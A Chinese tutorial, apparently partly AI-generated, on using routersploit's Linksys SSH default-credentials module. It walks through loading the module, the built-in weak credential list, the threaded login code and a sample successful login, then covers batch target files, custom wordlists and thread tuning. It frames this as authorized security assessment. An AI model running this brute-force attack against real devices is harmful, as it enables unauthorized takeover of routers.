routersploit 实战:使用 Linksys Router Default SSH Creds 模块对路由器 SSH 服务执行默认口令字典攻击
2026/9/23 7:10:05 网站建设 项目流程
  • 网络安全
  • 嵌入式

【免费下载链接】routersploit

Exploitation Framework for Embedded Devices

项目地址:https://gitcode.com/gh_mirrors/ro/routersploit
点击查看免费下载

导读

本文围绕 routersploit 框架中的creds/routers/linksys/ssh_default_creds模块展开,系统讲解如何对 Linksys 路由器暴露的 SSH 服务进行默认口令字典攻击(Default Credentials Dictionary Attack)。你将掌握该模块的加载与配置方法、默认凭据列表的含义与自定义方式、多线程攻击流程的底层实现,以及如何结合仓库源码与测试用例理解其工作原理,最终能够对嵌入式设备 SSH 服务进行安全评估。

模块概述:它在 routersploit 中的定位

ssh_default_creds属于 routersploit 的creds(凭据)模块族,路径为 routersploit/modules/creds/routers/linksys/ssh_default_creds.py。该模块的核心职责是:使用内置的 Linksys 路由器默认凭据字典,对目标 SSH 服务执行字典攻击;一旦发现有效凭据,立即展示给用户

模块元数据(__info__)声明如下:

  • name:Linksys Router Default SSH Creds
  • description:对 Linksys Router SSH 服务执行字典攻击,发现有效凭据后展示给用户
  • devices:Linksys Router
  • authors:Marcin Bury(routersploit 模块作者)

值得注意的是,该模块并非从零实现攻击逻辑,而是继承自通用模块routersploit/modules/creds/generic/ssh_default.py:

from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault class Exploit(SSHDefault): __info__ = { ... } target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)") port = OptPort(22, "Target SSH port") threads = OptInteger(1, "Number of threads") defaults = OptWordlist("admin:admin,admin:password,root:admin,linksys:", "User:Pass or file with default credentials (file://)")

这种"厂商模块继承通用模块、仅覆写凭据与默认参数"的设计模式,在整个creds/routers/<vendor>/目录中广泛复用——同一目录下还提供ftp_default_credstelnet_default_creds等同族模块,共同构成针对 Linksys 的多协议默认凭据检测能力。

快速开始:完整操作步骤

启动框架

在仓库根目录安装依赖并启动交互式框架(参见 README.md):

python3 -m pip install -r requirements.txt python3 rsf.py

加载并运行模块

进入rsf交互式终端后,按以下流程操作:

rsf > use creds/routers/linksys/ssh_default_creds rsf (Linksys Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Linksys Router Default SSH Creds) > run

运行结果示例

以下为文档中给出的典型运行输出(仅作演示,实际结果取决于目标环境):

[*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin

输出要点解读:

  • Target exposes SSH service:攻击前先执行连通性探测;
  • 失败尝试以[-] SSH Authentication Failed逐条输出(受verbosity控制);
  • 成功后输出[+] SSH Authentication Successful,并在末尾以表格形式汇总Target / Port / Service / Username / Password
  • 若所有凭据均无效,则输出Credentials not found

模块参数详解

该模块的五个核心参数及其默认值如下(类型均定义于 routersploit/core/exploit/option.py):

参数类型默认值说明
targetOptIP目标 IPv4 / IPv6 地址,或file://前缀的 ip:port 列表文件
portOptPort22目标 SSH 服务端口(有效范围 1–65535)
threadsOptInteger1并发攻击线程数
defaultsOptWordlistadmin:admin,admin:password,root:admin,linksys:User:Pass组合,或以file://前缀指向字典文件
verbosity/stop_on_successOptBooltrue详见下文"继承自通用模块的开关"

各参数的行为细节

target(OptIP):通过正则校验 IPv4 / IPv6 地址格式,非法地址会在set时直接抛出OptionValidationError。此外,routersploit 支持批量目标——将target设置为file:///path/to/targets.txt,文件中每行一个ip:port(端口可省略),配合@multi装饰器实现对多个目标逐一攻击(见 routersploit/core/exploit/exploit.py 中multi装饰器的实现)。

port(OptPort):必须是 1–65535 的整数,非整数或越界值会触发校验错误。

threads(OptInteger):控制并发线程数量。模块默认值为1(单线程),通用模块的默认值为8;在目标网络条件较好、希望加速时可以提高该值。

defaults(OptWordlist):本模块内置的 Linksys 默认凭据列表仅四条:

admin:admin admin:password root:admin linksys:

其中linksys:表示用户名为linksys、密码为空字符串。该列表同样被测试用例 tests/creds/routers/linksys/test_ssh_default_creds.py 断言确认:

assert exploit.defaults == ["admin:admin", "admin:password", "root:admin", "linksys:"]

OptWordlist的底层实现(option.py)支持两种取值方式:

  • 直接以逗号分隔内联凭据:admin:admin,admin:password
  • file://前缀指向外部字典文件,每行一条User:Pass,运行时自动读取并按行拆分。

注意:这里的file://用法与target的批量目标文件用法机制相同但用途不同——前者提供凭据字典,后者提供目标主机列表。

继承自通用模块的开关

除了上述参数,模块还从SSHClient基类继承了三个可调项:

  • verbosity(默认true):控制是否逐条打印"认证失败/成功"日志,关闭后仅输出汇总结果;
  • stop_on_success(默认true):一旦发现有效凭据立即停止后续尝试;
  • target_protocol:固定为Protocol.SSH,用于结果表格中的Service列显示ssh

攻击流程的源码级解析

模块的完整攻击链路由通用模块 ssh_default.py 实现,可分四步理解。

第一步:run()入口

def run(self): self.credentials = [] self.attack()

attack方法被@multi装饰,因此当target指向批量文件时会被逐个目标反复调用。

第二步:check()服务探测

def check(self): ssh_client = self.ssh_create() if ssh_client.test_connect(): print_status("Target exposes SSH service", verbose=self.verbosity) return True print_status("Target does not expose SSH", verbose=self.verbosity) return False

test_connect()由 SSH 客户端 routersploit/core/ssh/ssh_client.py 提供,内部逻辑是:以root用户名 + 12 位随机密码尝试连接(random_text(12))。若服务器返回paramiko.AuthenticationException,说明 SSH 服务确实存活(只是拒绝该凭据),即判定"目标暴露 SSH 服务";其他异常(超时、连接拒绝等)则视为探测失败并跳过攻击。

第三步:attack()多线程字典攻击

data = LockedIterator(self.defaults) self.run_threads(self.threads, self.target_function, data)
  • LockedIterator(exploit.py)为字典迭代器加锁,保证多线程下每条凭据只被消费一次,不会重复尝试;
  • run_threadsthreads数量创建线程,线程名形如thread-0thread-1……,并在结束后打印Elapsed time。这也解释了输出日志中thread-0 thread is starting...的来源。

第四步:target_function()凭据尝试

username, password = data.next().split(":", 1) ssh_client = self.ssh_create() if ssh_client.login(username, password): if self.stop_on_success: running.clear() self.credentials.append((self.target, self.port, self.target_protocol, username, password)) ssh_client.close()

真正的认证动作在SSHCli.login()(ssh_client.py)中完成:通过 paramiko 的SSHClient.connect()发起密码认证,设置look_for_keys=Falseallow_agent=False以禁用密钥与 agent 干扰,超时时间为 8 秒(SSH_TIMEOUT = 8.0)。AuthenticationException记为失败,成功则返回True并记录凭据;配合stop_on_success=True时,命中首个有效凭据即终止整个线程组。

结果汇总

attack()末尾根据self.credentials是否为空决定输出:

if self.credentials: print_success("Credentials found!") headers = ("Target", "Port", "Service", "Username", "Password") print_table(headers, *self.credentials) else: print_error("Credentials not found")

这正是文档示例中最终表格(Target / Port / Service / Username / Password)的生成来源。

测试用例验证

仓库为每个 creds 模块配套了单元测试。Linksys SSH 模块的测试位于 tests/creds/routers/linksys/test_ssh_default_creds.py,验证要点包括:

  • 默认参数正确性:target为空、port == 22threads == 1defaults为上述四条 Linksys 凭据、stop_on_successverbosity均为True
  • 针对通用测试目标(generic_targetfixture,通常是未运行 SSH 服务的地址)执行check()返回Falsecheck_default()返回Nonerun()返回None——即目标不暴露 SSH 服务时不会误报。

这套测试同时验证了模块与通用 SSH 攻击逻辑的集成正确性。运行方式:

python3 -m pytest tests/creds/routers/linksys/test_ssh_default_creds.py -v

扩展使用建议

  • 自定义字典:将defaults设置为file:///path/to/creds.txt,即可复用任意自定义凭据字典(每行User:Pass),用于评估其他品牌或固件版本的路由器。
  • 批量评估:将target指向file:///path/to/targets.txt(每行ipip:port),可对多个 Linksys 设备依次执行同一攻击流程。
  • 提高效率:在确认目标响应较快时增大threads并保持stop_on_success=true,在速度与隐蔽性之间取得平衡。
  • 联动其他协议:Linksys 目录下还提供ftp_default_credstelnet_default_creds两个同族模块(见 routersploit/modules/creds/routers/linksys/),可组合覆盖 FTP、SSH、Telnet 三类常见管理服务。

安全边界说明

本模块属于安全评估工具,仅应在获得授权的目标上使用。默认凭据攻击本质上依赖设备出厂时的弱口令配置,其结果可作为排查未授权访问风险、加固设备口令策略的直接依据。任何未经授权的扫描与尝试均可能违反当地法律法规。

  • 网络安全
  • 嵌入式

【免费下载链接】routersploit

Exploitation Framework for Embedded Devices

项目地址:https://gitcode.com/gh_mirrors/ro/routersploit
点击查看免费下载

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询